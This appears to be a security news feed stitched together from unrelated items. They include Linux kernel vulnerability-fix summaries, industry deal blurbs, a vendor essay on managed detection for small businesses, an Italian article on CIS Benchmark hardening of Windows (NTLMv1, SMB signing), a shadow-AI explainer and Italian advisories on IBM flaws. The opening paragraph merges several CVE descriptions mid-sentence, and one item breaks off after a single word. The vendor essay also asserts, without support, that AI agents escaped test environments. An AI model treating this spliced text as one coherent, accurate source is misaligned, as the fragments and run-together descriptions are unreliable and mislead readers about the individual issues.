drivers/infiniband/ulp/isert/ib_isert.c, isert_login_recv_done() computes the login request payload length as wc->byte_len minus ISER_HEADERS_LEN with no lower bound, and login_req_len is a signed int. In the Linux kernel, the following vulnerability has been resolved: RDMA/srp: bound SRP_RSP sense copy by the received length srp_process_rsp() copies sense data from rsp->data + resp_data_len, where resp_data_len is the full 32-bit value supplied by the SRP target and is never checked against the number of bytes actually received (wc->byte_len). The copy length is bounded to SCSI_SENSE_BUFFERSIZE, so at most 96 bytes are copied, but the source offset is not bounded. In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_tunnel: fix use-after-free on object destroy nft_tunnel_obj_destroy() calls metadata_dst_free() which directly kfree()s the metadata_dst, ignoring the dst_entry refcount. In the Linux kernel, the following vulnerability has been resolved: net: mvpp2: refill RX buffers before XDP or skb use The RX error path returns the current descriptor buffer to the hardware BM pool. In the Linux kernel, the following vulnerability has been resolved: KVM: x86: Fix shadow paging use-after-free due to unexpected role Commit 0cb2af2ea66ad ('KVM: x86: Fix shadow paging use-after-free due to unexpected GFN') fixed a shadow paging mismatch between stored and computed GFNs; the bug could be triggered by changing a PDE mapping from outside the guest, and then deleting a memslot. In the Linux kernel, the following vulnerability has been resolved: net: openvswitch: reject oversized nested action attrs Open vSwitch stores generated flow actions as nlattrs, whose nla_len field is u16.

The IBM subsidiary has also announced its Lightwell Clearinghouse is now available to all customers

Significant cybersecurity M&A deals announced by Dragos, IBM, Palo Alto Networks, Kiteworks, and Upwind. The post Cybersecurity M&A Roundup: 39 Deals Announced in September 2026 appeared first on SecurityWeek .

Cybersecurity has never been easy. Threats evolve at breakneck speed. Corporate attack surfaces continue to expand with each new digital investment. Regulatory requirements add extra pressure on stretched teams. And behind it all, the unpredictability of human nature means there is no such thing as 100% security. But the market for security solutions doesn’t make things any easier for SMBs. Smaller organizations usually have fewer resources and less expertise to throw at the problem than their larger counterparts. But they absolutely understand the need for advanced protection. It’s just that they also want it to feel simple, guided and manageable. Solutions and services that foreground such an approach are in short supply. But they do exist. SMS understand the importance of cybersecurity “Good enough” security is simply not good enough at a time of persistent geopolitical uncertainty and rapid technological change. ESET data reveals that three-quarters (75%) of SMBs are concerned about global conflicts and cyber warfare. And nearly half have experienced at least one cyber incident in the past year. Whether it’s Iran-nexus threat actors targeting British power and US water plants, or, as shown by recent ESET research, Russia-aligned hackers hitting Polish energy facilities, state-backed attacks are more frequent and more ambitious than they’ve ever been. SMBs are very much in the crosshairs, as providers of critical infrastructure themselves or suppliers to firms operating in critical infrastructure. But that’s only half the picture. Financially motivated groups continue to pose an outsized threat, usually via ransomware or data theft extortion. Often they operate with impunity from hostile states, where they elude the reach of Western law enforcement agencies. There’s growing evidence to suggest they even collaborate with government hackers on some campaigns. Yet the identity of the adversary is arguably less important than the tactics they’re using to target global SMBs. AI is empowering threat actors everywhere to upskill and scale attacks more cost effectively than before. They’re moving through the attack chain at speed, from reconnaissance to exfiltration, collapsing the vulnerability exploitation window, and building highly convincing personalized phishing messages. A new wave of autonomous agent-powered attacks will come next. We know what they’re capable of, because they’ve already broken free of vendor testing environments to socially engineer victims, create fake personas, exploit weak passwords, and deploy malicious code. If rogue agents can do this, then deliberately manipulated agentic AI can too. AI is also the target. As SMBs embrace coding agents, chatbots and AI-assisted workflows, these tools are creating a new attack surface. Do you know what you’re running in your organization? Can you be sure it’s not being manipulated by malicious third parties? And are your users following policy when they interact with the technology? A third (32%) of North American and even more (42%) European organizations admit to having no rules in place to restrict the use of AI applications outside approved processes or platforms. Overwhelmed and overpriced Against this backdrop, it’s perhaps not surprising that ESET finds that 58% of SMBs believe they are more vulnerable to cyber attacks than larger enterprises. It’s not just that they’re facing an unprecedented threat landscape. The pressure is operational as well as technical. SMBs often struggle to make sense of a market crammed with industry jargon, competing marketing claims, and point solutions which address only narrow problems. They buy more technology, but the outcomes don’t improve. The average company might use scores of siloed security tools, all pushing out alerts and impressive-looking dashboards. That does nothing but create more operational overhead, alert fatigue, and training gaps. Without the time, skills and confidence to manage all that technology, SMBs can quickly become overwhelmed. Real threats slip through the net while teams waste valuable time chasing false positives. Critical security updates are left undeployed while teams patch non-essential systems. Important tools are misconfigured. Reducing the burden Smaller organizations want better protection, not another security puzzle to solve. They need tools and services they understand; that are simple to operate and deliver plain-language guidance and explanations on how they work and what they’re doing under the covers. They want 24/7/365 monitoring to ensure that any threat at any time can be caught and contained as soon as possible, reducing the impact on the organization. And they want expert help to understand what threats to prioritize when alerts are flying in and context is in short supply. For many, this will mean outsourcing some parts of the security function to a trusted partner. They may not know the search term. But for many, the destination should be managed detection and response (MDR) which reduces the burden on in-house teams while ensuring no alert is missed. Yet historically, the SMB market has not necessarily been well served by MDR providers. Smaller organizations may have felt locked out of a market that often charges a premium for their capabilities. After all, in-house 24/7 monitoring and threat hunting doesn’t come cheap, especially during a time of skills shortages. Then there’s onboarding. Despite offering simplicity on the surface, many MDR offerings don’t work out like that in practice. They require integration with multiple systems and data sources, the granting of the correct permissions to outsourced SOC staff, the fine-tuning of detection rules, incident response planning, and many other complex, time-consuming tasks. What most SMBs want is continuous monitoring, detection of suspicious activity, clear guidance on next steps, and experts on hand to help with containment and remediation as required. But in reality, it can be much more complicated. For SMBs, this is about finding value for money: security that delivers the outcomes it promises. This matters more than ever at a time of continued business uncertainty, and the threat of cyber disruption which could have lasting consequences. All organizations have to assume that they’ll be breached at some point in the future, no matter how effective their preventative controls. The key to avoiding potentially crippling financial and reputational damage is to contain and recover from any attack as quickly as possible. That means finding security that helps them make better decisions, not security that creates more work. What SMBs want Against this backdrop, SMBs are looking for several complementary capabilities from their security partners. They want products and services that help to: Lower the operational burden by absorbing the day-to-day work that in-house teams are struggling to get through. A provider might do this by automating routine processes such as remediation of common issues. By offering teams AI assistance to improve productivity. And by ensuring there’s always expert help for things like onboarding and intervening when AI and automation don’t deliver. Detect and contain threats faster to maintain resilience. This capability must work round the clock, given that threat actors increasingly look to strike at weekends and during holidays to maximize their efforts. By minimizing dwell time, organizations can reduce the costs associated with an incident. IBM calculates that data breaches last year which took under 200 days to identify and contain incurred costs of $4.32 million, while those with a lifecycle exceeding 200 days had an average cost of $5.65 million. Encourage clearer understanding and better decision making, by not bombarding the customer with too much technical information. They need to know what happened, how serious the incident is, what the service provider has done to remediate, and what else needs to be done by their organization. Too much information can cripple response efforts. Deliver stronger operational continuity with a system which will support resilience by preventing incidents where possible, limiting the impact when they do occur, and ensuring the company can maintain minimum viable operations while recovering swiftly. SMBs have a smaller margin of error than large enterprises, making rapid recovery key to preserving customer trust and minimizing the financial impact. Drive faster time to value through rapid onboarding and deployment, ensuring the SMB can start benefitting from the service as soon as possible. AI and automation can help here, and ensure the exposure window is kept as short as possible. Encourage safer AI adoption by ensuring that all AI in use in the organization is managed and governed securely. That means first understanding what is in use in the organization, what data is being fed into it, and (in the case of agents) what it can access. Then working out policies and controls to minimize risk. A secondary layer of protection works to reduce leakage risks and prompt injection or data poisoning so that existing systems can’t be hijacked by malicious third parties. Increase protection across the corporate attack surface, which could include identity, collaboration tools, remote access, AI usage, SaaS apps, cloud infrastructure and more. A trusted provider will help to manage risk across this distributed and complex IT environment, which could stretch from remote employee laptops to cloud servers. Threat actors are past masters at finding gaps in protection, so coverage must be comprehensive. Deliver the right approach for each individual organization, because no two SMBs are the same. They have different risk profiles, attack surfaces, IT maturity levels and budgets. For some, automated protection is sufficient. For others, a white-glove security relationship with comprehensive support is a better fit. The key is offering choice without confusion, and services aligned to the customer’s risk appetite. The case for supervised security What this translates into is friction-less, supervised security for the AI era. Friction-less because it should reduce unnecessary friction in terms of purchasing, deployment and use. And offer robust protection without the need to interpret complex technical alerts or integrate disconnected point solutions. Supervised, because it should offer a blend of AI, automation and dedicated human oversight, ensuring the customer is in the driving seat but with an expert navigator by their side. And “security for AI” because it should leverage AI to enhance prevention, detection, response, correlation, investigation, and efficiency. But it should also have capabilities to reduce risk across the customer’s AI attack surface. AI is changing the game for security. But it should never be treated as a feature, or a marketing message. It should be embedded into the fabric of what a trusted security partner delivers. Not to replace human expertise, but to enhance it where necessary, making teams more productive and catching threats which their eyes might miss. Ultimately, SMBs want confidence that they are better protected, supported, and prepared. That they are doing everything they can to minimize an intrusion. And that, if a breach does occur, that they can recover as quickly as possible. Beyond this, they need to feel this confidence without the operational burden that is hurting so many smaller organizations. Because security should at the end be a business enabler. Not a burden on growth and innovation. The market is evolving. A better approach is available for SMBs. You just need to find the right security partners; those which focus specifically on meeting the needs of the mid-market with simpler solutions that deliver supervised cybersecurity outcomes.

A blank field. A public repo. One reply to an email. A box left exposed. None of this sounds dramatic, which is partly the problem. This week’s threats keep finding leverage in small things that were easy to overlook. There are actively exploited bugs in the mix, cleaner intrusion paths, smarter automation, and a long patch list waiting behind them. Some attacks are getting more capable. Others

La differenza tra un’infrastruttura difesa e un’infrastruttura semplicemente costosa non sta nel numero di prodotti di sicurezza acquistati, ma in ciò che succede quando un attaccante ha già un piede dentro. Nelle riunioni sul budget passano facilmente sempre le stesse voci: firewall di nuova generazione, EDR, SIEM, servizi MDR. Sono strumenti fondamentali, ma hanno un effetto poco nobile: si comprano e si mettono a bilancio. Molto più raramente si investe tempo nel fine tuning delle configurazioni dei sistemi che già abbiamo, che spesso restano ai default pensati per la compatibilità e non per la sicurezza. Eppure un dominio Active Directory che accetta ancora protocolli del 1993 e file server che non pretendono la firma dei pacchetti SMB possono vanificare buona parte di ciò che li circonda. Chi ottiene un primo accesso, magari con un semplice phishing , non ha bisogno di “bucare” il perimetro in quanto gli basta trovare un default permissivo e usarlo per muoversi lateralmente. Ci concentreremo su alcuni esempi in ambito Windows ma, come vedremo in seguito, il framework CIS prende in considerazione molti sistemi e software. Perché i default sono così permissivi? In Windows per garantire la compatibilità con quasi tutto ciò che è stato scritto negli ultimi trent’anni, molte configurazioni sicure sono opzionali . Un’azienda enterprise ha applicativi vecchi di quindici anni, NAS di terze parti, multifunzione e client che parlano protocolli superati. Se Microsoft cambiasse i default di colpo, mezzo mondo smetterebbe di funzionare. Il risultato è che la sicurezza reale viene demandata a chi amministra il sistema. La buona notizia è che esiste una guida condivisa e verificabile per correggere questi default: i CIS Benchmarks . In questo articolo vediamo da dove nascono, come sono strutturati e cosa cambia in pratica applicandoli, partendo da due casi concreti su Windows, NTLMv1 e la firma SMB , per poi allargare lo sguardo a cloud, rete, database e Linux. Vedremo anche perché l’adozione in un ambiente enterprise richiede mesi di test e come gli strumenti di compliance possano accelerare audit e remediation. Le origini: dal primo benchmark per Solaris a oltre cento guide Il Center for Internet Security (CIS) è un’organizzazione non profit statunitense nata come iniziativa di volontari, con l’obiettivo di produrre linee guida di configurazione pratiche e basate sul consenso. L’idea prende forma nel 2000 e il primo benchmark riguarda Solaris. Nel 2002 arriva il “Consensus Security Benchmark” per Windows 2000, frutto del lavoro congiunto di NSA, DISA, FBI, SANS e CIS. Nel 2008 debutta CIS-CAT, lo strumento per misurare la conformità. Il tratto distintivo è proprio il consenso . Un benchmark non è l’opinione di un singolo vendor. Nasce dal lavoro di esperti di governo, accademia e industria, passa da fasi di proposta, test e revisione e viene pubblicato in bozza per commenti pubblici prima della versione finale. Oggi se ne contano più di cento, su oltre venticinque famiglie di prodotti . I PDF sono gratuiti per uso non commerciale , mentre gli strumenti di automazione (CIS-CAT Pro, Build Kit, immagini hardened) richiedono la membership SecureSuite. Cosa contiene un benchmark e cosa significano L1 e L2 Attenzione a non confonderli con i CIS Controls , che sono azioni di alto livello e prioritizzate, come l’inventario degli asset o la gestione delle vulnerabilità. I Benchmark sono invece documenti tecnici, uno per ogni prodotto e versione, che spiegano come configurarlo. Ogni raccomandazione descrive il rischio che riduce, il profilo a cui appartiene e, soprattutto, l’ impatto che può avere sul sistema: è la parte da leggere prima di applicare qualsiasi cosa. Poi indica come verificare lo stato attuale (percorso GPO, chiave di registro o comando), come correggerlo e qual è il valore di default , che è spesso il campo più istruttivo, perché misura la distanza tra ciò che il sistema fa da solo e ciò che dovrebbe fare. Le raccomandazioni sono organizzate in livelli : Level 1 (L1): la base, applicabile con relativa rapidità e senza impatti pesanti. Riduce la superficie d’attacco mantenendo i sistemi usabili. Level 2 (L2): la difesa in profondità, pensata per ambienti in cui la sicurezza è prioritaria. Può limitare funzionalità e richiede una gestione delle eccezioni. A questi si aggiungono profili opzionali come BitLocker (BL) , Next Generation Windows Security (NG) e, in alcuni casi, un profilo allineato alle STIG del DoD statunitense. Nei benchmark Windows Server, L1 e L2 esistono poi in versione Domain Controller e Member Server , perché un DC non si hardenizza come un file server. Alcuni esempi con il benchmark per Windows Server Ho preso come esempio il CIS Benchmark per Windows Server 2022 (versione 5.1.0). E’ possibile scaricarlo, o scaricarne altri, è necessario eseguire la registrazione gratuita su https://learn.cisecurity.org/benchmarks Dopo la registrazione si accede a un’ampia raccolta di benchmark. In questo caso prendiamo come esempio due configurazioni di Windows: NTLMv1 e la firma SMB. Un sistema Windows, server o client, senza particolari criteri di gruppo si attesta intorno al 20% di compliance rispetto al benchmark. NTLMv1: il vecchio protocollo che non se ne va NTLM è un protocollo di autenticazione challenge/response che convive con Kerberos in Active Directory. Ogni volta che Kerberos non è utilizzabile (accesso tramite IP, SPN sconosciuto, client fuori dominio) Windows ripiega su NTLM. La versione 1 usa crittografia debole: gli hash catturati sulla rete possono essere attaccati offline o inoltrati in attacchi di relay, ed è per questo una delle cause principali dei movimenti laterali (pass-the-hash o PtH) e privilege escalation (PE). In questo precedente articolo avevamo simulato gli effetti di questo protocollo e le conseguenze. Il benchmark raccomanda, al livello L1, di impostare Network security: LAN Manager authentication level su “Send NTLMv2 response only. Refuse LM & NTLM” . Nel Windows Server 2022 Benchmark v5.1.0 è la raccomandazione 2.3.11.7 , ma la stessa indicazione era già presente nel benchmark per Server 2012 R2 del 2016. La numerazione cambia tra le versioni, quindi verificate sempre quella del documento che state usando. Il dettaglio interessante è il default: i client usano già solo NTLMv2, ma i Domain Controller accettano ancora LM, NTLM e NTLMv2 . Un dominio “pulito” per impostazione predefinita accetta quindi protocolli obsoleti, e basta un dispositivo datato per continuare a usarli. La configurazione si fa da GPO in Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options oppure direttamente dal registro, alla chiave HKLM\SYSTEM\CurrentControlSet\Control\Lsa, impostando il valore LmCompatibilityLevel (REG_DWORD) a 5. Anche se le configurazioni risultano complicate da capire, il documento CIS è una guida chiara su cosa applicare e cosa non, con dettagli chiari riguardo all’impatto che leggiamo qui sotto. Sui DC, i client che non supportano NTLMv2 non riusciranno più ad autenticarsi. Un vecchio client XP o 2000 fallisce il logon, incrementa il contatore delle password errate e, con il lockout attivo, può portare al blocco dell’account. Il percorso corretto è quindi audit, identificazione, migrazione ed enforcement , mai il contrario. Il benchmark include le impostazioni di auditing NTLM (le 2.3.11.12–14) e nel Security log l’evento 4624 riporta il pacchetto di autenticazione usato: cercate le sessioni con “NTLM V1”. Piccola nota : NTLMv1 è stato rimosso da Windows 11 24H2 e Windows Server 2025 , a prescindere dal valore di LmCompatibilityLevel. Restano però dei residui di crittografia derivata da NTLMv1 in scenari come MS-CHAPv2 nei domini, per cui Microsoft sta introducendo modalità audit ed enforcement (con l’evento 4024) e raccomanda l’uso di Credential Guard . Il problema è che la flotta reale non è tutta 24H2. Finché convivono Windows 10, Windows 11 23H2 e Server 2016/2019/2022, la questione è viva. E la sola GPO potrebbe non bastare: secondo la ricerca di Silverfort , chi si affida solo alle policy resta esposto e deve anche rilevare e mitigare l’uso di NTLMv1. Il quadro più ampio è una roadmap in tre fasi : NTLM è deprecato da giugno 2024, l’auditing avanzato è già disponibile e con la prossima versione di Windows Server e dei client verrà disabilitato di default . Non rimosso, ma riabilitabile via policy. Chi ha già fatto il lavoro di audit parte in netto vantaggio. Firma SMB: il default che (quasi) non ti protegge Senza firma, i messaggi SMB non hanno alcuna garanzia di integrità né di autenticità. Un attaccante sulla rete può inoltrare un’autenticazione NTLM catturata verso un altro server e agire con l’identità della vittima. La firma inserisce in ogni messaggio un hash generato con la chiave di sessione, così qualsiasi manomissione viene rilevata e il relay attack viene bloccato. Sento spesso dire che la firma SMB è ormai obbligatoria di default. È vero solo in parte. Secondo la documentazione Microsoft , Windows 11 24H2 nelle edizioni Pro, Enterprise ed Education la richiede sia in uscita sia in ingresso, mentre Windows Server 2025 la richiede solo in uscita . Sull’edizione Home le pagine Microsoft non sono coerenti tra loro, ma in ambito enterprise non è rilevante. Sulle versioni precedenti (Windows 10 e Server fino al 2022) la firma era richiesta di default solo per le connessioni alle share SYSVOL e NETLOGON dei domain controller. In un’infrastruttura reale, con file server 2016, 2019 o 2022, il default non ti protegge . E nemmeno 24H2 chiude la partita: come osserva DSInternals , queste modifiche eliminano alcuni vettori di relay ma non mitigano la tecnica del tutto. Il CIS prevede due raccomandazioni L1, una per lato: Microsoft network client: Digitally sign communications (always) , la 2.3.8.1 , e la 2.3.9.2 Microsoft network server: Digitally sign communications (always) , entrambe su Enabled . Nel registro si trovano sotto LanManServer\Parameters e LanManWorkstation\Parameters, con il valore RequireSecuritySignature impostato a 1. Anche qui, l’impatto. Il server non comunicherà con client che non accettano la firma. La richiesta può bloccare le connessioni verso computer in workgroup, share con accesso guest e server SMB di terze parti che non la supportano: NAS datati, apparati embedded, Samba non configurato, scanner con scan-to-folder. L’errore tipico è STATUS_INVALID_SIGNATURE (0xc000a000). Ogni pacchetto va inoltre firmato e verificato, quindi su server multiruolo il rallentamento può essere sensibile. La strada è sempre la stessa: inventariare share e client legacy, aggiornare, sostituire o segmentare i dispositivi non compatibili e applicare la policy a ondate. Altri default da rivedere Questi due casi sono la punta dell’iceberg. Sempre in ambito Windows, il benchmark ci ricorda per esempio di (tra parentesi il codice della raccomandazione e il livello): Disattivare LLMNR e NetBIOS , che permettono il poisoning delle richieste di risoluzione dei nomi (con strumenti come Responder) per rubare hash NTLMv2 (18.6.4.4 per LLMNR; 18.4.6 e 18.6.4.2 per NetBIOS; L1). Firmare LDAP e abilitare il channel binding , contro i relay verso i DC. Su Server 2025 la firma LDAP è di fatto richiesta salvo disattivazione esplicita, mentre su 2019 e 2022 il default era permissivo e il channel binding non è richiesto di default (2.3.5.4 firma e 2.3.5.3 channel binding sui DC, 2.3.11.9 firma lato client; L1). Verificare che SMBv1 sia assente : non è installato di default su Windows 11 e Server 2019 e successivi, ma nei parchi stratificati va controllato (18.4.2 driver client e 18.4.3 server; L1). Controllare che WDigest sia disattivo (UseLogonCredential=0), per non lasciare password in chiaro nella memoria di LSASS (18.4.7; L1). Limitare le cifrature Kerberos deboli come RC4 e DES, più facili da attaccare offline (2.3.11.4; L1). Disabilitare il Print Spooler sui Domain Controller , dove non serve (5.1, L1; sui Member Server 5.2, L2), e chiudere l’enumerazione anonima di utenti e share (2.3.10.2 e 2.3.10.3; L1). Attivare LSA Protection e Credential Guard contro il furto di credenziali dalla memoria (LSA Protection 18.9.26.2 e Credential Guard 18.9.5.5 sui Member Server; entrambi profilo NG). Sui DC il benchmark prevede invece Credential Guard disabilitato (18.9.5.6). Codici e livelli (L1, L2 o NG) sono quelli del benchmark per Windows Server 2022 e possono cambiare da una versione all’altra, quindi confrontateli sempre con il documento di riferimento. Il CIS non copre solo Windows I CIS Benchmarks coprono ormai gran parte di ciò che compone un’infrastruttura moderna. Includono: cloud provider (AWS, Azure, Google Cloud, Alibaba, IBM Cloud, Oracle Cloud) e le piattaforme SaaS come Microsoft 365, Google Workspace e Dynamics 365 Power Platform. sistemi operativi , da macOS ad AIX e Solaris, fino a un’ampia famiglia Linux (RHEL, Rocky, AlmaLinux, Debian, Ubuntu, SUSE, Amazon Linux, Bottlerocket e altre) server software , come database (SQL Server, Oracle, MySQL, PostgreSQL, MongoDB), web server (Apache, NGINX, Tomcat, IIS), Docker, Kubernetes e VMware. E ci sono gli apparati di rete (Cisco, Fortinet, Palo Alto, Check Point, Juniper, F5, Sophos, pfSense), i software desktop (Exchange, Office, Zoom, i principali browser), i dispositivi mobili iOS e Android e persino le stampanti multifunzione . Il catalogo si è spinto fino alla software supply chain : il primo benchmark riguardava un sistema Unix , oggi ne esiste uno per la sicurezza della catena di sviluppo, e questo racconta bene come è cambiata la superficie d’attacco. La logica è la stessa ovunque: il rischio sta nelle configurazioni lasciate ai default . Nel cloud, il rischio dominante non sono gli exploit sul provider ma le misconfigurazioni lato cliente: MFA mancante sugli account privilegiati, chiavi di accesso sul root , logging di audit disattivato, storage pubblico, gruppi di sicurezza che espongono SSH o RDP a tutta Internet. Sugli apparati di rete, firewall e switch entrano spesso in produzione con la configurazione minima, con interfacce di gestione raggiungibili ovunque, Telnet, HTTP e SNMPv1/v2c ancora attivi e credenziali di default. Su database e web server il benchmark chiede autenticazione obbligatoria, ascolto solo sulle interfacce necessarie e TLS moderno; su Docker e Kubernetes, container non privilegiati, accesso anonimo all’API server disabilitato e RBAC corretto. Le multifunzione, infine, sono computer completi con disco, rete e credenziali di dominio, ma raramente vengono trattate come tali: è lo stesso ragionamento dei NAS che non supportano la firma SMB. E Linux? Vale lo stesso discorso, con profili separati per Server e Workstation: SSH con login root disabilitato e autenticazione a chiave, /tmp montato con nodev,nosuid,noexec, filesystem inutili disabilitati, ASLR attivo, firewall in deny di default e auditd configurato. Nella documentazione di Wazuh un Ubuntu 22.04 con le impostazioni di default supera 56 controlli CIS su 191 (87 falliti, 48 non applicabili), con un punteggio del 39%. Anche un Linux appena installato è ben lontano da un hardening accettabile. Più di tre mesi di lavoro: non è un’attività da weekend Ammetto una cosa che nei tutorial di solito manca: applicare un benchmark in un ambiente enterprise eterogeneo non significa importare una GPO . Nella mia esperienza ci sono voluti più di tre mesi , quasi tutti spesi in test interni su sistemi diversi tra loro, perché molte regole hanno impatti significativi. Il metodo che ha funzionato parte da un inventario onesto di sistemi operativi, ruoli (DC, file server, workstation, laboratori, sistemi industriali) e applicativi legacy. Da lì serve un profilo per ogni ruolo : kiosk, workstation di sviluppo, PC di produzione e macchine con dipendenze VPN o di stampa datate non possono ricevere lo stesso baseline, e le eccezioni vanno documentate. Dove esiste una modalità audit, come per NTLM e LDAP, si parte da lì e si leggono i log per settimane. Poi si procede a ondate , dal laboratorio al pilota IT, al reparto pilota, all’intera azienda, monitorando ticket e log a ogni passaggio, con un backup delle GPO e una procedura di rollback già testata. Fondamentale il registro delle eccezioni . Ogni deviazione dal benchmark deve avere un responsabile, una motivazione e una data di revisione, perché un’eccezione senza scadenza diventa un default. Il Level 2 va infine trattato come un progetto a parte, perché cambia il carico di eccezioni e il modello di supporto. E il benchmark è più facile da difendere quando le basi funzionano già: patching, Defender, chiavi BitLocker, password dell’admin locale e monitoraggio di base. Gli strumenti che accelerano Fare tutto a mano su centinaia di macchine non è realistico e ancor più avere tutto sotto controllo, in particolare quando cominciano a nascere dei problemi. Gli strumenti di compliance eseguono un audit automatico sul parco macchine, associano a ciascun sistema il benchmark CIS di riferimento e producono report che mostrano dove intervenire , con priorità. Ce ne sono di commerciali, come ManageEngine, Tenable Nessus, Qualys e Rapid7, oltre a CIS-CAT Pro, lo strumento ufficiale del CIS. Controllate sempre che siano certificati CIS per la versione del benchmark che vi serve. Tra le soluzioni open source vale la pena conoscere il modulo SCA (Security Configuration Assessment) di Wazuh . L’agent Wazuh scansiona l’endpoint con delle policy in formato YAML , abilitate di default e già basate sui CIS Benchmarks. Tra le policy incluse ci sono Windows 10 e 11, Windows Server dal 2012 R2 al 2025, le principali distribuzioni Linux e alcune applicazioni come IIS, NGINX e SQL Server. Dalla dashboard si vede, per ogni macchina, quanti controlli sono superati o falliti e con quale punteggio, con descrizione e remediation di ogni check. Ed è esattamente la fotografia di partenza che serve prima di toccare una GPO. Dashboard Wazuh, modulo Configuration Assessment, con il riepilogo della policy CIS su un agent Windows (Passed / Failed / Not applicable e punteggio). Dettaglio di un check, ad esempio LmCompatibilityLevel, con razionale e remediation. L’SCA rileva e riporta, ma non corregge: la remediation resta a GPO o gestione della configurazione. E come per ogni scanner, un report non sostituisce il giudizio dell’analista. Nella community sono stati segnalati falsi positivi dovuti a errori nelle regole (per esempio uno spazio di troppo in un check Windows), quindi un controllo fallito su un sistema che sembra a posto va verificato a mano prima di intervenire. Una nota dolente è che di default le baseline non sono aggiornate. Infatti attualmetne ci troviamo le verisoni v2.0.0 quando sono state appena rilasciate le v5.1.0, quindi potrebbero mancarne. Un altro strumento interessante è ManageEngine Vulnerability Manager Plus che, oltre alle funzionalità di vulnerability discovery e patch management , dispone di un modulo di compliance in cui è possibile associare gruppi di host ai benchmark e valutarne rapidamente la conformità. Dashboard ManageEngine Endpoint Central, modulo Conformità, con lo stato di conformità di un gruppo di computer, la suddivisione per fasce di percentuale e il dettaglio per singolo host. Dettaglio della scansione con il CIS Microsoft Windows 10 Enterprise Benchmark v2.0.0 (Level 1, BitLocker): 20% di conformità, con la regola sul livello di autenticazione LAN Manager (NTLMv2) segnalata come non superata e la relativa remediation. Conclusione Firewall ed EDR restano strati indispensabili, ma poggiano su sistemi che, lasciati ai default, offrono scorciatoie note da vent’anni: NTLMv1 accettato dai DC, share senza firma SMB, LLMNR attivo, LDAP non firmato, console di gestione esposte, bucket pubblici. È questo che trasforma un singolo endpoint compromesso in un dominio compromesso. I CIS Benchmarks non sono una bacchetta magica, ma sono un punto di partenza concreto, condiviso e verificabile . Dicono cosa cambiare, dove, con quale impatto e come dimostrare di averlo fatto. Il prezzo è il tempo, tra test, eccezioni e comunicazione con gli utenti. In cambio si riduce la superficie d’attacco in modo strutturale, senza acquistare nulla di nuovo. L'articolo Basta un PC compromesso per entrare in tutta l’azienda! La colpa? I vecchi default di Windows proviene da Red Hot Cyber .

Using an AI chatbot, assistant, or browser to speed up your work is tempting, but doing it without your employer’s knowledge can put sensitive data at risk. You’re swamped, so you paste a long email thread into a free chatbot and ask for a summary. It works, it saves an hour, and nobody notices. But the thread may contain customer details or confidential plans you’ve just shared with an outside service. If your employer hasn’t approved that tool or how you’re using it, that’s shadow AI. The UK’s National Cyber Security Centre (NCSC) defines shadow AI as: “the use of AI technology which isn’t captured in an organisation’s approved systems and processes.” A Microsoft study published in 2025 found that 71% of UK employees surveyed said they had used AI tools at work their employer hadn’t approved. Most people aren’t doing this to cause trouble. They want to get their work done faster, and the tools are right there. Shadow AI isn’t limited to chatbots. It can also be: A browser extension that “improves your writing.” A meeting-notes bot that joins your calls. An AI feature quietly switched on inside an app you already use. A small automation you built yourself that sends data to an AI service. AI features are appearing in search engines, email apps, and phones. Instead of a helpful list of links, Google now tries to answer your question. Microsoft’s Copilot drafts replies to your boss before you’ve had coffee. Your phone summarizes conversations you don’t even remember having. That makes it easy to start using one without checking whether it’s approved for work. Why it worries IT and security teams When you enter data into a public AI tool, it leaves your company’s control. The service may keep that data or use it to improve its models, unless specific privacy controls are in place. That can lead to data breaches, lost intellectual property, and regulatory problems. There is also a security angle. AI assistants and agents—tools that can take actions on your behalf—are complex software and can have serious vulnerabilities. If an attacker exploits one, they may gain access to the data and services the tool has. IBM’s 2025 Cost of a Data Breach research found that one in five organizations reported a breach linked to shadow AI. Only 37% had policies to manage AI or detect shadow AI. Organizations with a lot of shadow AI paid roughly $670,000 more per breach. In a survey of our newsletter readers, 90% of respondents said they were worried about AI using their data without consent. Company data deserves the same care as your own. How to use AI more safely at work You don’t need to avoid AI altogether. Think carefully about which apps and services you use before you share data. Start by talking to your employer, then follow these steps: Ask for an approved tool. Security leaders say the best way to reduce shadow AI is to offer something better and safer, such as an enterprise AI platform with guardrails. Use your work account, not a personal one. Work accounts are the ones your IT team can protect and govern. Find out what’s off-limits. Customer details, financial data, HR records, source code, and confidential meeting content may be restricted. Ask which kinds of data you may and may not use with AI. Check the privacy settings. Look at whether the tool stores your inputs or uses them to train its models. Register your use case. Many organizations keep a list of approved AI tools and uses. A quick approval process makes it easier to stay on the right side of the rules. Be careful with agents and plug-ins. Tools that connect to your email, files, or calendar should be reviewed by your IT or security team first. Speak up. If the approved tools aren’t meeting your needs, say so. The NCSC recommends open conversations about security to help reduce reliance on unapproved tools. If you manage a team, remember that banning AI outright tends to push the use further out of sight. Find out why people are turning to unapproved tools. Providing useful, approved options and clear rules can help staff work faster while protecting company data. Browse like no one’s watching.   Malwarebytes Privacy VPN encrypts your connection and never logs what you do, so the next story you read doesn’t have to feel personal.  Try it free →  

Aggiornamenti di sicurezza IBM sanano una vulnerabilità, con gravità "alta", nel prodotto IBM i, sistema operativo enterprise di IBM per i server IBM Power Systems. Tale vulnerabilità, qualora sfruttata, potrebbe consentire a un attaccante locale autenticato la modifica non autorizzata di file arbitrari sui sistemi interessati.

The company emerged from stealth mode with pre-seed funding from Osage University Partners and DataTribe. The post RemoteThreat Launches With $7 Million for Offensive Operations Platform appeared first on SecurityWeek .

We introduce OperTraitor, a tool to audit privileges of Kubernetes operators, identify excessive RBAC risks, and secure non-human identities. The post OperTraitors: How Kubernetes Operators Betray Your Security Posture appeared first on Unit 42 .

Rilevato lo sfruttamento attivo in rete della vulnerabilità CVE-2026-85542 – già sanata dal vendor - che interessa il prodotto IBM Guardium Data Protection. Tale vulnerabilità potrebbe consentire a un utente malintenzionato autenticato di elevare i propri privilegi ed eseguire codice arbitrario sui sistemi interessati.

